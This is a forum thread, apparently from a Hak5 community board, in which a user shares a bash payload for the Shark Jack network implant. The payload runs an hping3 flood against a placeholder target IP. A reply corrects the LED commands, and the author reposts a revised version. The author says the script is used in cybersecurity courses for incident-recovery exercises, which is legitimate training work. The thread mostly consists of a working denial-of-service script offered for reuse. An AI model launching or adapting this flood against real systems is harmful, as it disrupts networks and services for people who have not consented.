Jump to content

HPING3 Flood on target


Recommended Posts

#!/bin/bash
#
# Title:         denial of service on the Shark Jack
# Author:        Sourison
# Version:       1.1.0
#
# Red ...........Setup
# Magenta..........Running
#

##Hping options, Change TARGET_IP to the target ip address
HPING_OPTIONS="--flood -c 4096 TARGET_IP"

function setup() {
	LED R
# Set NETMODE to DHCP_CLIENT for Shark Jack v1.1.0+
	NETMODE DHCP_CLIENT
# Wait for an IP address to be obtained
	while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
}


function run() {
	# Run setup
	setup

LED M
	# Start scan
	hping3 $HPING_OPTIONS

	finish
}


# Run payload
run &

 

 

Good Morning all, 

I've just create an HPING flood "attack" for a specified target. 
I tempt to use this alot in our cybersecurity courses when they need to do incident recovery and start fixing their systems. 
This part is nice when they just plug the cables and forget about the contaiment parts.. 

Feel free to edit/make it better. 

I'll attach the payload.sh

 

Kind regards

Joshua (Sourison)

 

 

payload.sh

Link to post
Share on other sites

Awesome payload! I would suggest changing the LED to use the standardized states like LED SETUP, LED ATTACK and such. They're documented at https://docs.hak5.org/hc/en-us/articles/360034667893-LED

Currently your LED commands will fail, as they would need an additional parameter - like SOLID.  

Link to post
Share on other sites
On 11/10/2019 at 5:36 PM, Darren Kitchen said:

Awesome payload! I would suggest changing the LED to use the standardized states like LED SETUP, LED ATTACK and such. They're documented at https://docs.hak5.org/hc/en-us/articles/360034667893-LED

Currently your LED commands will fail, as they would need an additional parameter - like SOLID.  

Thank you Darren for your reply, I really appreciate your help 🙂

Below I've added the new code.

#!/bin/bash
#
# Title: denial of service on the Shark Jack
# Author: Sourison
# Version: 1.1.0
#
# Magenta...........Setup
# Yellow..........Running
#

##Hping options, Change TARGET_IP to the target ip address
HPING_OPTIONS="--flood -c 4096 TARGET_IP"

function setup() {
 LED SETUP
# Set NETMODE to DHCP_CLIENT for Shark Jack v1.1.0+
 NETMODE DHCP_CLIENT
# Wait for an IP address to be obtained
 while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
}


function run() {
 # Run setup
 setup

LED ATTACK
 # Start scan
 hping3 $HPING_OPTIONS

 finish
}


# Run payload
run &

 

Kind Regards

Joshua (Sourison)

Edited by digininja
replace IP with variable name
Link to post
Share on other sites
  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...